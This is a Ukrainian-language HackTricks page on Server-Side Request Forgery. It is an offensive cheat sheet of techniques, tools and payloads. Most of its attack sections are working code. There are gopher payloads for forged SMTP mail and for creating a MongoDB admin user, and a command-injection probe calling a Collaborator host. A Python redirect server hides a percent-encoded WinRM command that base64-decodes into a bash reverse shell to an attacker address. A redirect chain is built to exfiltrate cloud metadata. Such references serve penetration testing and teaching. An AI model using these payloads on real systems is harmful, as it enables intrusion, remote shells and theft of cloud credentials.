SSRF (Server Side Request Forgery)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
Уразливість Server-side Request Forgery (SSRF) виникає, коли атакуючий маніпулює server-side application, змушуючи її виконувати HTTP requests до домену за своїм вибором. Ця вразливість піддає сервер довільним зовнішнім запитам, керованим атакуючим.
Захоплення SSRF
Перш за все потрібно зафіксувати SSRF-взаємодію, ініційовану вами. Щоб перехопити HTTP або DNS взаємодію, можна використовувати такі інструменти:
- Burp Collaborator
- pingb
- canarytokens
- interractsh
- http://webhook.site
- https://github.com/teknogeek/ssrf-sheriff
- http://requestrepo.com/
- https://github.com/stolenusername/cowitness
- https://github.com/dwisiswant0/ngocok - A Burp Collaborator using ngrok
Обхід білого списку доменів
Зазвичай ви знайдете, що SSRF працює лише для певних доменів або URL, внесених у білий список. На наступній сторінці наведена підбірка технік для спроби обійти цей білий список:
Обхід через Open Redirect
Якщо сервер правильно захищено, ви все одно можете обійти всі обмеження, експлуатуючи Open Redirect на веб-сторінці. Оскільки веб-сторінка дозволить SSRF до того самого домену і, ймовірно, буде слідувати за редиректами, ви можете використати Open Redirect, щоб змусити сервер отримати доступ до будь-якого внутрішнього ресурсу.
Read more here: https://portswigger.net/web-security/ssrf
Протоколи
- file://
- Обговорюється схема URL
file://, яка вказує безпосередньо на/etc/passwd:file:///etc/passwd - dict://
- Схема URL
dict://описується як така, що використовується для доступу до визначень або списків слів через протокол DICT. Наведений приклад ілюструє сконструйований URL, що націлений на конкретне слово, базу даних і номер запису, а також випадок, коли PHP-скрипт може бути зловживаний для підключення до DICT-сервера з обліковими даними, наданими атакуючим:dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n> - SFTP://
- Вказано як протокол для захищеного передавання файлів через secure shell; наведено приклад, що показує, як PHP-скрипт може бути використаний для підключення до зловмисного SFTP-сервера:
url=sftp://generic.com:11111/ - TFTP://
- Trivial File Transfer Protocol, що працює через UDP, згадується з прикладом PHP-скрипту, призначеного для відправки запиту до TFTP-сервера. TFTP-запит зроблено до ‘generic.com’ на порту ‘12346’ за файлом ‘TESTUDPPACKET’:
ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET - LDAP://
- Тут йдеться про Lightweight Directory Access Protocol, підкреслюючи його використання для керування та доступу до розподілених служб каталогів у мережах IP. Взаємодія з LDAP-сервером на localhost:
'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit. - SMTP
- Описано методику використання SSRF для взаємодії зі службами SMTP на localhost, включно зі кроками для виявлення внутрішніх доменних імен та подальших дій розслідування на основі цієї інформації.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
- Curl URL globbing - WAF bypass
- Якщо SSRF виконується за допомогою curl, curl має функцію під назвою URL globbing, яка може бути корисною для обходу WAFs. Наприклад, у цьому writeup ви можете знайти приклад для path traversal via
fileprotocol:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
- Gopher://
- Обговорюється здатність протоколу Gopher вказувати IP, порт і байти для комунікації з сервером, а також інструменти, такі як Gopherus і remote-method-guesser, для створення payloads. Наведено два різні випадки використання:
Gopher://
Використовуючи цей протокол, ви можете вказати IP, порт і байти, які сервер має відправити. Після цього ви фактично можете використати SSRF для спілкування з будь-яким TCP сервером (але спочатку потрібно знати, як спілкуватися з цим сервісом).
На щастя, ви можете використати Gopherus для створення payloads для кількох сервісів. Крім того, remote-method-guesser можна використати для створення gopher payloads для сервісів Java RMI.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Gopher SMTP — Back connect до 1337
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
Gopher MongoDB – Створити користувача з username=admin, password=admin123 та permission=administrator
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'
SSRF через Referrer header & Others
Аналітичне програмне забезпечення на серверах часто записує Referrer header для відстеження вхідних посилань, що ненавмисно піддає застосунки вразливостям Server-Side Request Forgery (SSRF). Це відбувається тому, що таке програмне забезпечення може відвідувати зовнішні URL, зазначені в Referrer header, щоб аналізувати вміст реферал-сайту. Щоб виявити ці вразливості, рекомендовано використовувати Burp Suite plugin Collaborator Everywhere, який використовує те, як аналітичні інструменти обробляють Referer header, щоб ідентифікувати потенційні площини атаки SSRF.
SSRF via SNI data from certificate
Ілюстрація помилкової конфігурації, яка може дозволити підключення до будь-якого бекенду при простому налаштуванні, наведена в прикладі конфігурації Nginx:
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
У цій конфігурації значення з поля Server Name Indication (SNI) безпосередньо використовується як адреса бекенда. Така настройка відкриває вразливість до Server-Side Request Forgery (SSRF), яку можна експлуатувати просто вказавши потрібну IP-адресу або домен у полі SNI. Приклад експлуатації для примусового з’єднання з довільним бекендом, наприклад internal.host.com, за допомогою команди openssl наведено нижче:
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
SSRF via TLS AIA CA Issuers (Java mTLS)
Деякі TLS-стеки автоматично завантажують відсутні проміжні CA, використовуючи Authority Information Access (AIA) → CA Issuers URI всередині сертифіката іншої сторони. В Java, увімкнення -Dcom.sun.security.enableAIAcaIssuers=true під час роботи mTLS-сервісу змушує сервер звертатися до URI, контрольованих зловмисником, з клієнтського сертифіката під час handshake, до виконання будь-якої HTTP-логіки.
- Requirements: mTLS enabled, Java AIA fetching enabled, attacker can present a client cert with a crafted AIA CA Issuers URI.
- Triggering SSRF (приклад для Java 21):
java -Djava.security.debug=certpath \
-Dcom.sun.security.enableAIAcaIssuers=true \
-Dhttp.agent="AIA CA Issuers PoC" -jar server.jar
# Attacker cert AIA: http://localhost:8080
nc -l 8080 -k # observe the outbound fetch
curl https://mtls-server:8444 --key client-aia-key.pem --cert client-aia-localhost-cert.pem --cacert ca-cert.pem
Вивід debug для Java certpath показує CertStore URI:http://localhost:8080, а nc захоплює HTTP-запит із керованим User-Agent з -Dhttp.agent, що доводить SSRF під час валідації сертифіката.
- DoS via file://: встановлення AIA CA Issuers на
file:///dev/urandomна Unix-подібних хостах змушує Java трактувати його як CertStore і читати необмежену кількість випадкових байтів, завантажуючи CPU-ядро і блокуючи наступні з’єднання навіть після відключення клієнта.
SSRF via CSS Pre-Processors
LESS — популярний CSS pre-processor, який додає змінні, mixin-и, функції і потужну директиву @import. Під час компіляції LESS-двигун буде підвантажувати ресурси, вказані в @import-виразах, і вбудовувати (“inline”) їхній вміст у результатний CSS, коли використовується опція (inline).
Check how to exploit it in:
Wget file upload
SSRF with Command Injection
Може мати сенс спробувати такий payload: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
PDFs Rendering
Якщо веб-сторінка автоматично створює PDF з інформацією, яку ви надали, ви можете вставити JS, який буде виконано самим PDF-генератором (сервером) під час створення PDF, і ви зможете зловживати SSRF. Find more information here.
From SSRF to DoS
Створіть кілька сесій і спробуйте завантажувати важкі файли, використовуючи SSRF із цих сесій.
SSRF PHP Functions
Check the following page for vulnerable PHP and even Wordpress functions:
SSRF Redirect to Gopher
Для деяких експлуатацій може знадобитися відправити redirect response (наприклад, щоб використати інший протокол, як gopher). Тут наведено різні python-коди для відповіді з редіректом:
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
Неправильно налаштовані proxies для SSRF
Трюки from this post.
Flask
Вразливий код Flask proxy
```python from flask import Flask from requests import getapp = Flask(‘main’) SITE_NAME = ‘https://google.com’
@app.route(‘/’, defaults={‘path’: ‘’}) @app.route(‘/path:path’)
def proxy(path): return get(f’{SITE_NAME}{path}’).content
if name == “main”: app.run(threaded=False)
</details>
Flask дозволяє використовувати **`@`** як початковий символ, що дозволяє зробити **початкову назву хоста ім'ям користувача** і впровадити нову. Запит атаки:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
Вразливий код:
.png)
Було виявлено, що можна почати шлях запиту символом ;, що дозволяє потім використати @ та інжектувати новий хост для доступу. Запит атаки:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
PHP Built-in Web Server
Вразливий PHP-код
```php$proxy_site = $site.$current_uri; var_dump($proxy_site);
echo “\n\n”;
$response = file_get_contents($proxy_site); var_dump($response); ?>
</details>
PHP дозволяє використовувати **символ `*` перед слешем у шляху** URL, проте має інші обмеження: його можна застосовувати лише для кореневого шляху `/`, а крапки `.` не дозволені перед першим слешем, тому, наприклад, потрібно використати dotless-hex encoded IP address:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close
DNS Rebidding CORS/SOP bypass
Якщо у вас виникають problems щоб exfiltrate content from a local IP через CORS/SOP, DNS Rebidding можна використати для обходу цього обмеження:
CORS - Misconfigurations & Bypass
Automated DNS Rebidding
Singularity of Origin — інструмент для виконання DNS rebinding attacks. Він містить необхідні компоненти, щоб змінити прив’язку IP-адреси імені DNS сервера атаки на IP-адресу цільової машини та для доставляння attack payloads, щоб експлуатувати вразливе ПЗ на цільовій машині.
Перевірте також публічно запущений сервер за адресою http://rebind.it/singularity.html
DNS Rebidding + TLS Session ID/Session ticket
Requirements:
- SSRF
- Outbound TLS sessions
- Stuff on local ports
Attack:
- Ask the user/bot access a domain controlled by the attacker
- The TTL of the DNS is 0 sec (so the victim will check the IP of the domain again soon)
- A TLS connection is created between the victim and the domain of the attacker. The attacker introduces the payload inside the Session ID or Session Ticket.
- The domain will start an infinite loop of redirects against himself. The goal of this is to make the user/bot access the domain until it perform again a DNS request of the domain.
- In the DNS request a private IP address is given now (127.0.0.1 for example)
- The user/bot will try to reestablish the TLS connection and in order to do so it will send the Session ID/Ticket ID (where the payload of the attacker was contained). So congratulations you managed to ask the user/bot attack himself.
Note that during this attack, if you want to attack localhost:11211 (memcache) you need to make the victim establish the initial connection with www.attacker.com:11211 (the port must always be the same).
To perform this attack you can use the tool: https://github.com/jmdx/TLS-poison/
For more information take a look to the talk where this attack is explained: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference
Blind SSRF
Різниця між blind SSRF та не-blind полягає в тому, що у blind ви не бачите відповіді на SSRF-запит. Через це його важче експлуатувати, оскільки ви зможете використовувати лише добре відомі вразливості.
Time based SSRF
Перевірка часу відповідей від сервера може дозволити встановити, чи існує ресурс чи ні (можливо доступ до існуючого ресурсу займає більше часу, ніж до неіснуючого)
From blid to full abusing status codes
According to this blog post, деякі blind SSRF можуть виникати тому, що навіть якщо цільовий URL відповідає з 200 статусом (наприклад AWS metadata), ці дані можуть бути неправильно відформатовані і тому додаток може відмовитись їх показувати.
Однак було виявлено, що відправляючи деякі redirect відповіді в діапазоні 305–309 у SSRF, можливо змусити додаток follow these redirects while entering an error mode, який більше не перевірятиме формат даних і може просто їх вивести.
The python server used to exploit this is th following:
@app.route("/redir")
def redir():
count = int(request.args.get("count", 0)) + 1
# Pump out 305, 306, 307, 308, 309, 310 ...
weird_status = 301 + count
if count >= 10: # after 5 “weird” codes
return redirect(METADATA_URL, 302)
return redirect(f"/redir?count={count}", weird_status)
@app.route("/start")
def start():
return redirect("/redir", 302)
Кроки:
- Спочатку 302 змушує додаток почати слідувати.
- Потім він отримує 305 → 306 → 307 → 308 → 309 → 310.
- Після 5-го дивного коду PoC нарешті повертає 302 → 169.254.169.254 → 200 OK.
Що відбувається всередині цілі:
- libcurl сам по собі слідує 305–310; він просто нормалізує невідомі коди до «follow».
- Після N дивних редиректів (тут ≥ 5) власна обгортка додатка вирішує «something is off» і переключається в режим помилки для налагодження.
- У цьому режимі вона вивантажує весь ланцюжок редиректів разом з фінальним тілом назад зовнішньому caller.
- Результат: attacker бачить кожен заголовок + metadata JSON — завдання виконано.
Зверніть увагу, що це цікаво для leak статус-кодів, які ви не могли leak раніше (наприклад 200). Однак, якщо якимось чином ви також могли б вибрати статус-код відповіді (уявіть, що ви можете вирішити, що AWS metadata відповідає зі статус-кодом 500), можуть існувати статус-коди, які безпосередньо leak вміст відповіді.
HTML-to-PDF рендерери як blind SSRF гаджети
Бібліотеки, такі як TCPDF (і обгортки на кшталт spipu/html2pdf), автоматично витягують будь-які URL, присутні в attacker-controlled HTML під час рендерингу PDF. Кожен атрибут <img> або <link rel="stylesheet"> обробляється на боці сервера через cURL, getimagesize(), або file_get_contents(), тож ви можете змусити PDF worker перевіряти внутрішні хости, навіть якщо жодна HTTP-відповідь вам не відображається.
<html>
<body>
<img width="1" height="1" src="http://127.0.0.1:8080/healthz">
<link rel="stylesheet" type="text/css" href="http://10.0.0.5/admin" />
</body>
</html>
- TCPDF 6.10.0 виконує кілька спроб отримання для кожного ресурсу
<img>, тож один payload може згенерувати кілька запитів (корисно для таймінгових порт-сканів). - html2pdf копіює поведінку TCPDF для
<img>і додає отримання CSS всерединіCss::extractStyle(), яке просто викликаєfile_get_contents($href)після поверхневої перевірки схеми. Зловживайте цим, щоб звертатися до loopback-сервісів, діапазонів RFC1918 або ендпоінтів метаданих хмарного середовища. - Поєднайте цей SSRF-примітив з HTML-to-PDF path traversal tricks, щоб leak як внутрішні HTTP-відповіді, так і локальні файли, відрендерені у PDF.
Ті, хто займаються захистом, повинні видаляти зовнішні URL перед рендерингом або ізолювати рендерер у мережевому сандбоксі; до тих пір сприймайте PDF-генератори як сліпі SSRF-проксі.
Експлуатація SSRF у хмарному середовищі
Якщо ви знайдете SSRF-уразливість на машині, що працює в хмарному середовищі, ви можете отримати цікаву інформацію про хмарне середовище та навіть облікові дані:
Платформи, вразливі до SSRF
Кілька відомих платформ містять або містили SSRF-уразливості, перевірте їх у:
Інструменти
SSRFMap
Інструмент для виявлення та експлуатації SSRF-уразливостей
Gopherus
Цей інструмент генерує Gopher payloads для:
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
remote-method-guesser
remote-method-guesser — це сканер уразливостей Java RMI, який підтримує операції атаки для більшості поширених уразливостей Java RMI. Більшість доступних операцій підтримують опцію --ssrf для генерації SSRF payload для запитуваної операції. Разом з опцією --gopher можна безпосередньо згенерувати готові до використання gopher payloads.
SSRF Proxy
SSRF Proxy — це багатопотоковий HTTP-проксі-сервер, призначений для тунелювання HTTP-трафіку клієнта через HTTP-сервери, вразливі до Server-Side Request Forgery (SSRF).
Для практики
Посилання
- https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
- https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
- Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?
- Tenable – SSRF Vulnerability in Java TLS Handshakes That Creates DoS Risk
- RFC 5280 §4.2.2.1 Authority Information Access
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


